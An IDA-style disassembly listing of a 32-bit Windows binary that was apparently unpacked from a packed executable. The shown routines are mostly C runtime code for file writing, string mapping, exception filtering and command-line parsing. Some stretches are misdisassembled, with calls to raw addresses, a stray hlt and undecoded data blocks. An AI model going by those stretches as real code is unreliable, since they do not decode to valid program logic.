		jz	loc_422BE9
		mov	edx, [edi+4]
		test	edx, edx
		jnz	short loc_422B57
		and	[ebp+var_8], edx
		jmp	loc_422BE9
; ---------------------------------------------------------------------------


loc_422B57:				; CODE XREF: sub_422A9E+AFj
		sub	eax, ecx
		add	eax, edx
		mov	[ebp+arg_0], eax
		mov	eax, esi
		sar	eax, 5
		and	esi, 1Fh
		lea	ebx, ds:4DE1E0h[eax*4]
		shl	esi, 3
		mov	eax, [ebx]
		test	byte ptr [esi+eax+4], 80h
		jz	short loc_422BE3
		push	2
		push	0
		push	[ebp+var_C]
		call	sub_422A04
		add	esp, 0Ch
		cmp	eax, [ebp+var_4]
		jnz	short loc_422BAA
		mov	eax, [edi+8]
		mov	ecx, [ebp+arg_0]
		add	ecx, eax


loc_422B95:				; CODE XREF: sub_422A9E+104j
		cmp	eax, ecx
		jnb	short loc_422BA4
		cmp	byte ptr [eax],	0Ah
		jnz	short loc_422BA1
		inc	[ebp+arg_0]


loc_422BA1:				; CODE XREF: sub_422A9E+FEj
		inc	eax
		jmp	short loc_422B95
; ---------------------------------------------------------------------------


loc_422BA4:				; CODE XREF: sub_422A9E+F9j
		test	byte ptr [edi+0Dh], 20h
		jmp	short loc_422BDE
; ---------------------------------------------------------------------------


loc_422BAA:				; CODE XREF: sub_422A9E+EDj
		push	0
		push	[ebp+var_4]
		push	[ebp+var_C]
		call	sub_422A04
		mov	eax, 200h
		add	esp, 0Ch
		cmp	[ebp+arg_0], eax
		ja	short loc_422BD1
		mov	ecx, [edi+0Ch]
		test	cl, 8
		jz	short loc_422BD1
		test	ch, 4
		jz	short loc_422BD4


loc_422BD1:				; CODE XREF: sub_422A9E+124j
					; sub_422A9E+12Cj
		mov	eax, [edi+18h]


loc_422BD4:				; CODE XREF: sub_422A9E+131j
		mov	[ebp+arg_0], eax
		mov	eax, [ebx]
		test	byte ptr [esi+eax+4], 4


loc_422BDE:				; CODE XREF: sub_422A9E+10Aj
		jz	short loc_422BE3
		inc	[ebp+arg_0]


loc_422BE3:				; CODE XREF: sub_422A9E+D9j
					; sub_422A9E:loc_422BDEj
		mov	eax, [ebp+arg_0]
		sub	[ebp+var_4], eax


loc_422BE9:				; CODE XREF: sub_422A9E+A4j
					; sub_422A9E+B4j
		mov	eax, [ebp+var_8]
		mov	ecx, [ebp+var_4]
		add	eax, ecx


loc_422BF1:				; CODE XREF: sub_422A9E+3Cj
					; sub_422A9E+8Dj ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_422A9E	endp

; ---------------------------------------------------------------------------


loc_422BF6:				; CODE XREF: sub_41D4D4+A2p
					; sub_41DDAB+2Cp ...
		push	ebp
		mov	ebp, esp
		sub	esp, 414h
		mov	ecx, [ebp+8]
		push	ebx
		cmp	ecx, ds:dword_4DE2E0
		push	esi
		push	edi
		jnb	loc_422D8A
		mov	eax, ecx
		mov	esi, ecx
		sar	eax, 5
		and	esi, 1Fh
		lea	ebx, ds:4DE1E0h[eax*4]
		shl	esi, 3
		mov	eax, [ebx]
		mov	al, [eax+esi+4]
		test	al, 1
		jz	loc_422D8A
		xor	edi, edi
		cmp	[ebp+10h], edi
		mov	[ebp-8], edi
		mov	[ebp-10h], edi
		jnz	short loc_422C47


loc_422C40:				; CODE XREF: seg000:00422D6Dj
		xor	eax, eax
		jmp	loc_422D9E
; ---------------------------------------------------------------------------


loc_422C47:				; CODE XREF: seg000:00422C3Ej
		test	al, 20h
		jz	short loc_422C57
		push	2
		push	edi
		push	ecx
		call	sub_422A04
		add	esp, 0Ch


loc_422C57:				; CODE XREF: seg000:00422C49j
		mov	eax, [ebx]
		add	eax, esi
		test	byte ptr [eax+4], 80h
		jz	loc_422D26
		mov	eax, [ebp+0Ch]
		cmp	[ebp+10h], edi
		mov	[ebp-4], eax
		mov	[ebp+8], edi
		jbe	loc_422D5E


loc_422C77:				; CODE XREF: seg000:00422CEBj
		lea	eax, [ebp-414h]


loc_422C7D:				; CODE XREF: seg000:00422CAFj
		mov	ecx, [ebp-4]
		sub	ecx, [ebp+0Ch]
		cmp	ecx, [ebp+10h]
		jnb	short loc_422CB1
		mov	ecx, [ebp-4]
		inc	dword ptr [ebp-4]
		mov	cl, [ecx]
		cmp	cl, 0Ah
		jnz	short loc_422C9C
		inc	dword ptr [ebp-10h]
		mov	byte ptr [eax],	0Dh
		inc	eax


loc_422C9C:				; CODE XREF: seg000:00422C93j
		mov	[eax], cl
		inc	eax
		mov	ecx, eax
		lea	edx, [ebp-414h]
		sub	ecx, edx
		cmp	ecx, 400h
		jl	short loc_422C7D


loc_422CB1:				; CODE XREF: seg000:00422C86j
		mov	edi, eax
		lea	eax, [ebp-414h]
		sub	edi, eax
		lea	eax, [ebp-0Ch]
		push	0		; CODE XREF: seg000:00422D38j
		push	eax
		lea	eax, [ebp-414h]
		push	edi
		push	eax
		mov	eax, [ebx]
		push	dword ptr [eax+esi]
		call	near ptr 0B10000h
		xchg	eax, ebp
		test	eax, eax
		jz	short loc_422D1B
		mov	eax, [ebp-0Ch]
		add	[ebp-8], eax
		cmp	eax, edi
		jl	short loc_422CED
		mov	eax, [ebp-4]
		sub	eax, [ebp+0Ch]
		cmp	eax, [ebp+10h]
		jb	short loc_422C77


loc_422CED:				; CODE XREF: seg000:00422CE0j
					; seg000:00422D24j
		xor	edi, edi


loc_422CEF:				; CODE XREF: seg000:00422D46j
					; seg000:00422D51j
		mov	eax, [ebp-8]
		cmp	eax, edi
		jnz	loc_422D85
		cmp	[ebp+8], edi
		jz	short loc_422D5E
		push	5
		pop	eax
		cmp	[ebp+8], eax
		jnz	short loc_422D53
		mov	ds:dword_4DDEB4, 9
		mov	ds:dword_4DDEB8, eax
		jmp	loc_422D9B
; ---------------------------------------------------------------------------


loc_422D1B:				; CODE XREF: seg000:00422CD6j
		call	ds:dword_42808C	; RtlGetLastWin32Error
		mov	[ebp+8], eax
		jmp	short loc_422CED
; ---------------------------------------------------------------------------


loc_422D26:				; CODE XREF: seg000:00422C5Fj
		lea	ecx, [ebp-0Ch]
		push	edi
		push	ecx
		push	dword ptr [ebp+10h]
		push	dword ptr [ebp+0Ch]
		push	dword ptr [eax]
		call	near ptr 0B10000h
		jnb	short near ptr loc_422CBE+1
		sal	byte ptr [ebx+ecx-75h],	45h
		hlt
; ---------------------------------------------------------------------------
		mov	[ebp+8], edi
		mov	[ebp-8], eax
		jmp	short loc_422CEF
; ---------------------------------------------------------------------------
		call	ds:dword_42808C	; RtlGetLastWin32Error
		mov	[ebp+8], eax
		jmp	short loc_422CEF
; ---------------------------------------------------------------------------


loc_422D53:				; CODE XREF: seg000:00422D05j
		push	dword ptr [ebp+8]
		call	sub_4205FF
		pop	ecx
		jmp	short loc_422D9B
; ---------------------------------------------------------------------------


loc_422D5E:				; CODE XREF: seg000:00422C71j
					; seg000:00422CFDj
		mov	eax, [ebx]
		test	byte ptr [eax+esi+4], 40h
		jz	short loc_422D73
		mov	eax, [ebp+0Ch]
		cmp	byte ptr [eax],	1Ah
		jz	loc_422C40


loc_422D73:				; CODE XREF: seg000:00422D65j
		mov	ds:dword_4DDEB4, 1Ch
		mov	ds:dword_4DDEB8, edi
		jmp	short loc_422D9B
; ---------------------------------------------------------------------------


loc_422D85:				; CODE XREF: seg000:00422CF4j
		sub	eax, [ebp-10h]
		jmp	short loc_422D9E
; ---------------------------------------------------------------------------


loc_422D8A:				; CODE XREF: seg000:00422C0Bj
					; seg000:00422C2Dj
		and	ds:dword_4DDEB8, 0
		mov	ds:dword_4DDEB4, 9


loc_422D9B:				; CODE XREF: seg000:00422D16j
					; seg000:00422D5Cj ...
		or	eax, 0FFFFFFFFh


loc_422D9E:				; CODE XREF: seg000:00422C42j
					; seg000:00422D88j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_422DA3:				; CODE XREF: sub_41D7CA+47p
					; sub_41D7CA+74p ...
		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_428948
		push	offset sub_4237BC
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 1Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp-18h], esp
		xor	edi, edi
		cmp	ds:dword_4DDF90, edi
		jnz	short loc_422E19
		push	edi
		push	edi
		push	1
		pop	ebx
		push	ebx
		push	offset dword_428940
		mov	esi, 100h
		push	esi
		push	edi
		call	ds:dword_428050	; LCMapStringW
		test	eax, eax
		jz	short loc_422DF7
		mov	ds:dword_4DDF90, ebx
		jmp	short loc_422E19
; ---------------------------------------------------------------------------


loc_422DF7:				; CODE XREF: seg000:00422DEDj
		push	edi
		push	edi
		push	ebx
		push	offset dword_4CDAB0
		push	esi
		push	edi
		call	near ptr 0B10000h
		daa
		test	eax, eax
		jz	loc_422F31
		mov	ds:dword_4DDF90, 2


loc_422E19:				; CODE XREF: seg000:00422DD1j
					; seg000:00422DF5j
		cmp	[ebp+14h], edi
		jle	short loc_422E2E
		push	dword ptr [ebp+14h]
		push	dword ptr [ebp+10h]
		call	sub_422FC7
		pop	ecx
		pop	ecx
		mov	[ebp+14h], eax


loc_422E2E:				; CODE XREF: seg000:00422E1Cj
		mov	eax, ds:dword_4DDF90
		cmp	eax, 2
		jnz	short near ptr loc_422E54+1
		push	dword ptr [ebp+1Ch]
		push	dword ptr [ebp+18h]
		push	dword ptr [ebp+14h]
		push	dword ptr [ebp+10h]
		push	dword ptr [ebp+0Ch]
		push	dword ptr [ebp+8]
		call	near ptr 0B10000h
		mov	eax, 0DEE9h


loc_422E54:				; CODE XREF: seg000:00422E36j
		add	[ebx-7AF0FE08h], al
		rol	dword ptr [eax], cl
; ---------------------------------------------------------------------------
		dd 7D390000h, 0A1087520h, 4DDF84h, 57204589h, 1475FF57h
		dd 8B1075FFh, 0D8F72445h, 0E083C01Bh, 0FF504008h, 15FF2075h
		dd 428184h, 5D89D88Bh, 0FDF3BE4h, 9C84h, 0FC7D8900h, 831B048Dh
		dd 0FC2403C0h, 0FF8E6BE8h, 0E86589FFh, 4589C48Bh, 0FC4D83DCh
		dd 6A13EBFFh, 8BC35801h, 0FF33E865h, 83DC7D89h,	8BFFFC4Dh
		dd 7D39E45Dh, 536674DCh, 0FFDC75FFh, 75FF1475h,	0FF016A10h
		dd 15FF2075h, 428184h, 4D74C085h, 0FF535757h, 75FFDC75h
		dd 875FF0Ch, 805015FFh,	0F08B0042h, 3BD87589h, 0F63274F7h
		dd 74040D45h, 1C7D3940h, 0B2840Fh, 753B0000h, 0FF1E7F1Ch
		dd 75FF1C75h, 75FF5318h, 0C75FFDCh, 0FF0875FFh,	42805015h
		dd 0FC08500h, 8F85h
		db 0
; ---------------------------------------------------------------------------


loc_422F31:				; CODE XREF: seg000:00422E09j
					; seg000:00422F7Bj ...
		xor	eax, eax


loc_422F33:				; CODE XREF: seg000:00422FC2j
		lea	esp, [ebp-38h]
		mov	ecx, [ebp-10h]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------
		mov	dword ptr [ebp-4], 1
		lea	eax, [esi+esi]
		add	eax, 3
		and	al, 0FCh
		call	sub_41BD10
		mov	[ebp-18h], esp
		mov	ebx, esp
		mov	[ebp-20h], ebx
		or	dword ptr [ebp-4], 0FFFFFFFFh
		jmp	short loc_422F79
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp-18h]
		xor	edi, edi
		xor	ebx, ebx
		or	dword ptr [ebp-4], 0FFFFFFFFh
		mov	esi, [ebp-28h]


loc_422F79:				; CODE XREF: seg000:00422F65j
		cmp	ebx, edi
		jz	short loc_422F31
		push	esi
		push	ebx
		push	dword ptr [ebp-1Ch]
		push	dword ptr [ebp-24h]
		push	dword ptr [ebp+0Ch]
		push	dword ptr [ebp+8]
		call	ds:dword_428050	; LCMapStringW
		test	eax, eax
		jz	short loc_422F31
		cmp	[ebp+1Ch], edi
		push	edi
		push	edi
		jnz	short loc_422FA0
		push	edi
		push	edi
		jmp	short loc_422FA6
; ---------------------------------------------------------------------------


loc_422FA0:				; CODE XREF: seg000:00422F9Aj
		push	dword ptr [ebp+1Ch]
		push	dword ptr [ebp+18h]


loc_422FA6:				; CODE XREF: seg000:00422F9Ej
		push	esi
		push	ebx
		push	220h
		push	dword ptr [ebp+20h]
		call	ds:dword_428180	; WideCharToMultiByte
		mov	esi, eax
		cmp	esi, edi
		jz	loc_422F31
		mov	eax, esi
		jmp	loc_422F33

; =============== S U B	R O U T	I N E =======================================



sub_422FC7	proc near		; CODE XREF: seg000:00422E24p
					; sub_426153+7Ep ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	edx, [esp+arg_4]
		mov	eax, [esp+arg_0]
		test	edx, edx
		push	esi
		lea	ecx, [edx-1]
		jz	short loc_422FE4


loc_422FD7:				; CODE XREF: sub_422FC7+1Bj
		cmp	byte ptr [eax],	0
		jz	short loc_422FE4
		inc	eax
		mov	esi, ecx
		dec	ecx
		test	esi, esi
		jnz	short loc_422FD7


loc_422FE4:				; CODE XREF: sub_422FC7+Ej
					; sub_422FC7+13j
		cmp	byte ptr [eax],	0
		pop	esi
		jnz	short loc_422FEF
		sub	eax, [esp+arg_0]
		retn
; ---------------------------------------------------------------------------


loc_422FEF:				; CODE XREF: sub_422FC7+21j
		mov	eax, edx
		retn
sub_422FC7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_422FF2	proc near		; CODE XREF: seg000:0041DC36p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ebx
		push	[ebp+arg_0]
		call	sub_423133
		test	eax, eax
		pop	ecx
		jz	loc_423127
		mov	ebx, [eax+8]
		test	ebx, ebx
		jz	loc_423127
		cmp	ebx, 5
		jnz	short loc_423023
		and	dword ptr [eax+8], 0
		push	1
		pop	eax
		jmp	loc_423130
; ---------------------------------------------------------------------------


loc_423023:				; CODE XREF: sub_422FF2+23j
		cmp	ebx, 1
		jz	loc_423122
		mov	ecx, ds:dword_4DDF94
		mov	[ebp+arg_0], ecx
		mov	ecx, [ebp+arg_4]
		mov	ds:dword_4DDF94, ecx
		mov	ecx, [eax+4]
		cmp	ecx, 8
		jnz	loc_423112
		mov	ecx, ds:dword_43F850
		mov	edx, ds:dword_43F854
		add	edx, ecx
		push	esi
		cmp	ecx, edx
		jge	short loc_423072
		lea	esi, [ecx+ecx*2]
		sub	edx, ecx
		lea	esi, ds:43F7E0h[esi*4]


loc_423069:				; CODE XREF: sub_422FF2+7Ej
		and	dword ptr [esi], 0
		add	esi, 0Ch
		dec	edx
		jnz	short loc_423069


loc_423072:				; CODE XREF: sub_422FF2+69j
		mov	eax, [eax]
		mov	esi, ds:dword_43F85C
		cmp	eax, 0C000008Eh
		jnz	short loc_42308D
		mov	ds:dword_43F85C, 83h
		jmp	short loc_4230FD
; ---------------------------------------------------------------------------


loc_42308D:				; CODE XREF: sub_422FF2+8Dj
		cmp	eax, 0C0000090h
		jnz	short loc_4230A0
		mov	ds:dword_43F85C, 81h
		jmp	short loc_4230FD
; ---------------------------------------------------------------------------


loc_4230A0:				; CODE XREF: sub_422FF2+A0j
		cmp	eax, 0C0000091h
		jnz	short loc_4230B3
		mov	ds:dword_43F85C, 84h
		jmp	short loc_4230FD
; ---------------------------------------------------------------------------


loc_4230B3:				; CODE XREF: sub_422FF2+B3j
		cmp	eax, 0C0000093h
		jnz	short loc_4230C6
		mov	ds:dword_43F85C, 85h
		jmp	short loc_4230FD
; ---------------------------------------------------------------------------


loc_4230C6:				; CODE XREF: sub_422FF2+C6j
		cmp	eax, 0C000008Dh
		jnz	short loc_4230D9
		mov	ds:dword_43F85C, 82h
		jmp	short loc_4230FD
; ---------------------------------------------------------------------------


loc_4230D9:				; CODE XREF: sub_422FF2+D9j
		cmp	eax, 0C000008Fh
		jnz	short loc_4230EC
		mov	ds:dword_43F85C, 86h
		jmp	short loc_4230FD
; ---------------------------------------------------------------------------


loc_4230EC:				; CODE XREF: sub_422FF2+ECj
		cmp	eax, 0C0000092h
		jnz	short loc_4230FD
		mov	ds:dword_43F85C, 8Ah


loc_4230FD:				; CODE XREF: sub_422FF2+99j
					; sub_422FF2+ACj ...
		push	ds:dword_43F85C
		push	8
		call	ebx
		pop	ecx
		mov	ds:dword_43F85C, esi
		pop	ecx
		pop	esi
		jmp	short loc_42311A
; ---------------------------------------------------------------------------


loc_423112:				; CODE XREF: sub_422FF2+52j
		and	dword ptr [eax+8], 0
		push	ecx
		call	ebx
		pop	ecx


loc_42311A:				; CODE XREF: sub_422FF2+11Ej
		mov	eax, [ebp+arg_0]
		mov	ds:dword_4DDF94, eax


loc_423122:				; CODE XREF: sub_422FF2+34j
		or	eax, 0FFFFFFFFh
		jmp	short loc_423130
; ---------------------------------------------------------------------------


loc_423127:				; CODE XREF: sub_422FF2+Fj
					; sub_422FF2+1Aj
		push	[ebp+arg_4]
		call	ds:dword_42804C	; UnhandledExceptionFilter


loc_423130:				; CODE XREF: sub_422FF2+2Cj
					; sub_422FF2+133j
		pop	ebx
		pop	ebp
		retn
sub_422FF2	endp


; =============== S U B	R O U T	I N E =======================================



sub_423133	proc near		; CODE XREF: sub_422FF2+7p

arg_0		= dword	ptr  4

		mov	edx, [esp+arg_0]
		mov	ecx, ds:dword_43F858
		cmp	ds:dword_43F7D8, edx
		push	esi
		mov	eax, offset dword_43F7D8
		jz	short loc_423160
		lea	esi, [ecx+ecx*2]
		lea	esi, ds:43F7D8h[esi*4]


loc_423155:				; CODE XREF: sub_423133+2Bj
		add	eax, 0Ch
		cmp	eax, esi
		jnb	short loc_423160
		cmp	[eax], edx
		jnz	short loc_423155


loc_423160:				; CODE XREF: sub_423133+16j
					; sub_423133+27j
		lea	ecx, [ecx+ecx*2]
		pop	esi
		lea	ecx, ds:43F7D8h[ecx*4]
		cmp	eax, ecx
		jnb	short loc_423173
		cmp	[eax], edx
		jz	short locret_423175


loc_423173:				; CODE XREF: sub_423133+3Aj
		xor	eax, eax

locret_423175:				; CODE XREF: sub_423133+3Ej
		retn
sub_423133	endp

; ---------------------------------------------------------------------------
		cmp	ds:dword_4DF554, 0
		jnz	short loc_423184
		call	sub_42048D


loc_423184:				; CODE XREF: seg000:0042317Dj
		push	esi
		mov	esi, ds:dword_4DF54C
		mov	al, [esi]
		cmp	al, 22h
		jnz	short loc_4231B6


loc_423191:				; CODE XREF: seg000:004231A9j
					; seg000:004231ACj
		mov	al, [esi+1]
		inc	esi
		cmp	al, 22h
		jz	short loc_4231AE
		test	al, al
		jz	short loc_4231AE
		movzx	eax, al
		push	eax
		call	sub_42508F
		test	eax, eax
		pop	ecx
		jz	short loc_423191
		inc	esi
		jmp	short loc_423191
; ---------------------------------------------------------------------------


loc_4231AE:				; CODE XREF: seg000:00423197j
					; seg000:0042319Bj
		cmp	byte ptr [esi],	22h
		jnz	short loc_4231C0


loc_4231B3:				; CODE XREF: seg000:004231C8j
		inc	esi
		jmp	short loc_4231C0
; ---------------------------------------------------------------------------


loc_4231B6:				; CODE XREF: seg000:0042318Fj
		cmp	al, 20h
		jbe	short loc_4231C0


loc_4231BA:				; CODE XREF: seg000:004231BEj
		inc	esi
		cmp	byte ptr [esi],	20h
		ja	short loc_4231BA


loc_4231C0:				; CODE XREF: seg000:004231B1j
					; seg000:004231B4j ...
		mov	al, [esi]
		test	al, al
		jz	short loc_4231CA
		cmp	al, 20h
		jbe	short loc_4231B3


loc_4231CA:				; CODE XREF: seg000:004231C4j
		mov	eax, esi
		pop	esi
		retn

; =============== S U B	R O U T	I N E =======================================



sub_4231CE	proc near		; CODE XREF: seg000:0041DBE1p
		push	ebx
		xor	ebx, ebx
		cmp	ds:dword_4DF554, ebx
		push	esi
		push	edi
		jnz	short loc_4231E0
		call	sub_42048D


loc_4231E0:				; CODE XREF: sub_4231CE+Bj
		mov	esi, ds:dword_4DDF28
		xor	edi, edi


loc_4231E8:				; CODE XREF: sub_4231CE+30j
		mov	al, [esi]
		cmp	al, bl
		jz	short loc_423200
		cmp	al, 3Dh
		jz	short loc_4231F3
		inc	edi


loc_4231F3:				; CODE XREF: sub_4231CE+22j
		push	esi
		call	sub_41B1D0
		pop	ecx
		lea	esi, [esi+eax+1]
		jmp	short loc_4231E8
; ---------------------------------------------------------------------------


loc_423200:				; CODE XREF: sub_4231CE+1Ej
		lea	eax, ds:4[edi*4]
		push	eax
		call	sub_41B6C5
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		mov	ds:dword_4DDEDC, esi
		jnz	short loc_423222
		push	9
		call	sub_41DC49
		pop	ecx


loc_423222:				; CODE XREF: sub_4231CE+4Aj
		mov	edi, ds:dword_4DDF28
		cmp	[edi], bl
		jz	short loc_423265
		push	ebp


loc_42322D:				; CODE XREF: sub_4231CE+94j
		push	edi
		call	sub_41B1D0
		mov	ebp, eax
		pop	ecx
		inc	ebp
		cmp	byte ptr [edi],	3Dh
		jz	short loc_42325E
		push	ebp
		call	sub_41B6C5
		cmp	eax, ebx
		pop	ecx
		mov	[esi], eax
		jnz	short loc_423251
		push	9
		call	sub_41DC49
		pop	ecx


loc_423251:				; CODE XREF: sub_4231CE+79j
		push	edi
		push	dword ptr [esi]
		call	sub_41C0A0
		pop	ecx
		add	esi, 4
		pop	ecx


loc_42325E:				; CODE XREF: sub_4231CE+6Cj
		add	edi, ebp
		cmp	[edi], bl
		jnz	short loc_42322D
		pop	ebp


loc_423265:				; CODE XREF: sub_4231CE+5Cj
		push	ds:dword_4DDF28
		call	sub_41B2A1
		pop	ecx
		mov	ds:dword_4DDF28, ebx
		mov	[esi], ebx
		pop	edi
		pop	esi
		mov	ds:dword_4DF550, 1
		pop	ebx
		retn
sub_4231CE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_423287	proc near		; CODE XREF: seg000:0041DBDCp

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		xor	ebx, ebx
		cmp	ds:dword_4DF554, ebx
		push	esi
		push	edi
		jnz	short loc_42329E
		call	sub_42048D


loc_42329E:				; CODE XREF: sub_423287+10j
		mov	esi, offset aCM_unpackerPac ; "C:\\m_unpacker\\packed.exe"
		push	104h
		push	esi
		push	ebx
		call	near ptr 0C70004h
		mov	eax, ss:dword_4DF54C
		mov	ds:off_4DDEEC, esi
		mov	edi, esi
		cmp	[eax], bl
		jz	short loc_4232C3
		mov	edi, eax


loc_4232C3:				; CODE XREF: sub_423287+38j
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		push	ebx
		push	ebx
		push	edi
		call	sub_423320
		mov	eax, [ebp+var_8]
		mov	ecx, [ebp+var_4]
		lea	eax, [eax+ecx*4]
		push	eax
		call	sub_41B6C5
		mov	esi, eax
		add	esp, 18h
		cmp	esi, ebx
		jnz	short loc_4232F3
		push	8
		call	sub_41DC49
		pop	ecx


loc_4232F3:				; CODE XREF: sub_423287+62j
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		mov	eax, [ebp+var_4]
		lea	eax, [esi+eax*4]
		push	eax
		push	esi
		push	edi
		call	sub_423320
		mov	eax, [ebp+var_4]
		add	esp, 14h
		dec	eax
		mov	ds:dword_4DDED4, esi
		pop	edi
		pop	esi
		mov	ds:dword_4DDED0, eax
		pop	ebx
		leave
		retn
sub_423287	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_423320	proc near		; CODE XREF: sub_423287+47p
					; sub_423287+7Dp

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		mov	ecx, [ebp+arg_10]
		mov	eax, [ebp+arg_C]
		push	ebx
		push	esi
		and	dword ptr [ecx], 0
		mov	esi, [ebp+arg_8]
		push	edi
		mov	edi, [ebp+arg_4]
		mov	dword ptr [eax], 1
		mov	eax, [ebp+arg_0]
		test	edi, edi
		jz	short loc_42334A
		mov	[edi], esi
		add	edi, 4
		mov	[ebp+arg_4], edi


loc_42334A:				; CODE XREF: sub_423320+20j
		cmp	byte ptr [eax],	22h
		jnz	short loc_423393


loc_42334F:				; CODE XREF: sub_423320+58j
					; sub_423320+5Fj
		mov	dl, [eax+1]
		inc	eax
		cmp	dl, 22h
		jz	short loc_423381
		test	dl, dl
		jz	short loc_423381
		movzx	edx, dl
		test	ds:byte_4DF421[edx], 4
		jz	short loc_423374
		inc	dword ptr [ecx]
		test	esi, esi
		jz	short loc_423374
		mov	dl, [eax]
		mov	[esi], dl
		inc	esi
		inc	eax


loc_423374:				; CODE XREF: sub_423320+46j
					; sub_423320+4Cj
		inc	dword ptr [ecx]
		test	esi, esi
		jz	short loc_42334F
		mov	dl, [eax]
		mov	[esi], dl
		inc	esi
		jmp	short loc_42334F
; ---------------------------------------------------------------------------


loc_423381:				; CODE XREF: sub_423320+36j
					; sub_423320+3Aj
		inc	dword ptr [ecx]
		test	esi, esi
		jz	short loc_42338B
		and	byte ptr [esi],	0
		inc	esi


loc_42338B:				; CODE XREF: sub_423320+65j
		cmp	byte ptr [eax],	22h
		jnz	short loc_4233D6
		inc	eax
		jmp	short loc_4233D6
; ---------------------------------------------------------------------------


loc_423393:				; CODE XREF: sub_423320+2Dj
					; sub_423320+A5j
		inc	dword ptr [ecx]
		test	esi, esi
		jz	short loc_42339E
		mov	dl, [eax]
		mov	[esi], dl
		inc	esi


loc_42339E:				; CODE XREF: sub_423320+77j
		mov	dl, [eax]
		inc	eax
		movzx	ebx, dl
		test	ds:byte_4DF421[ebx], 4
		jz	short loc_4233B9
		inc	dword ptr [ecx]
		test	esi, esi
		jz	short loc_4233B8
		mov	bl, [eax]
		mov	[esi], bl
		inc	esi


loc_4233B8:				; CODE XREF: sub_423320+91j
		inc	eax


loc_4233B9:				; CODE XREF: sub_423320+8Bj
		cmp	dl, 20h
		jz	short loc_4233C7
		test	dl, dl
		jz	short loc_4233CB
		cmp	dl, 9
		jnz	short loc_423393


loc_4233C7:				; CODE XREF: sub_423320+9Cj
		test	dl, dl
		jnz	short loc_4233CE


loc_4233CB:				; CODE XREF: sub_423320+A0j
		dec	eax
		jmp	short loc_4233D6
; ---------------------------------------------------------------------------


loc_4233CE:				; CODE XREF: sub_423320+A9j
		test	esi, esi
		jz	short loc_4233D6
		and	byte ptr [esi-1], 0


loc_4233D6:				; CODE XREF: sub_423320+6Ej
					; sub_423320+71j ...
		and	[ebp+arg_10], 0


loc_4233DA:				; CODE XREF: sub_423320+19Ej
		cmp	byte ptr [eax],	0
		jz	loc_4234C3


loc_4233E3:				; CODE XREF: sub_423320+D0j
		mov	dl, [eax]
		cmp	dl, 20h
		jz	short loc_4233EF
		cmp	dl, 9
		jnz	short loc_4233F2


loc_4233EF:				; CODE XREF: sub_423320+C8j
		inc	eax
		jmp	short loc_4233E3
; ---------------------------------------------------------------------------


loc_4233F2:				; CODE XREF: sub_423320+CDj
		cmp	byte ptr [eax],	0
		jz	loc_4234C3
		test	edi, edi
		jz	short loc_423407
		mov	[edi], esi
		add	edi, 4
		mov	[ebp+arg_4], edi


loc_423407:				; CODE XREF: sub_423320+DDj
		mov	edx, [ebp+arg_C]
		inc	dword ptr [edx]


loc_42340C:				; CODE XREF: sub_423320+18Fj
		mov	[ebp+arg_0], 1
		xor	ebx, ebx


loc_423415:				; CODE XREF: sub_423320+FCj
		cmp	byte ptr [eax],	5Ch
		jnz	short loc_42341E
		inc	eax
		inc	ebx
		jmp	short loc_423415
; ---------------------------------------------------------------------------


loc_42341E:				; CODE XREF: sub_423320+F8j
		cmp	byte ptr [eax],	22h
		jnz	short loc_42344F
		test	bl, 1
		jnz	short loc_42344D
		xor	edi, edi
		cmp	[ebp+arg_10], edi
		jz	short loc_42343C
		cmp	byte ptr [eax+1], 22h
		lea	edx, [eax+1]
		jnz	short loc_42343C
		mov	eax, edx
		jmp	short loc_42343F
; ---------------------------------------------------------------------------


loc_42343C:				; CODE XREF: sub_423320+10Dj
					; sub_423320+116j
		mov	[ebp+arg_0], edi


loc_42343F:				; CODE XREF: sub_423320+11Aj
		mov	edi, [ebp+arg_4]
		xor	edx, edx
		cmp	[ebp+arg_10], edx
		setz	dl
		mov	[ebp+arg_10], edx


loc_42344D:				; CODE XREF: sub_423320+106j
		shr	ebx, 1


loc_42344F:				; CODE XREF: sub_423320+101j
		mov	edx, ebx
		dec	ebx
		test	edx, edx
		jz	short loc_423464
		inc	ebx


loc_423457:				; CODE XREF: sub_423320+142j
		test	esi, esi
		jz	short loc_42345F
		mov	byte ptr [esi],	5Ch
		inc	esi


loc_42345F:				; CODE XREF: sub_423320+139j
		inc	dword ptr [ecx]
		dec	ebx
		jnz	short loc_423457


loc_423464:				; CODE XREF: sub_423320+134j
		mov	dl, [eax]
		test	dl, dl
		jz	short loc_4234B4
		cmp	[ebp+arg_10], 0
		jnz	short loc_42347A
		cmp	dl, 20h
		jz	short loc_4234B4
		cmp	dl, 9
		jz	short loc_4234B4


loc_42347A:				; CODE XREF: sub_423320+14Ej
		cmp	[ebp+arg_0], 0
		jz	short loc_4234AE
		test	esi, esi
		jz	short loc_42349D
		movzx	ebx, dl
		test	ds:byte_4DF421[ebx], 4
		jz	short loc_423496
		mov	[esi], dl
		inc	esi
		inc	eax
		inc	dword ptr [ecx]


loc_423496:				; CODE XREF: sub_423320+16Ej
		mov	dl, [eax]
		mov	[esi], dl
		inc	esi
		jmp	short loc_4234AC
; ---------------------------------------------------------------------------


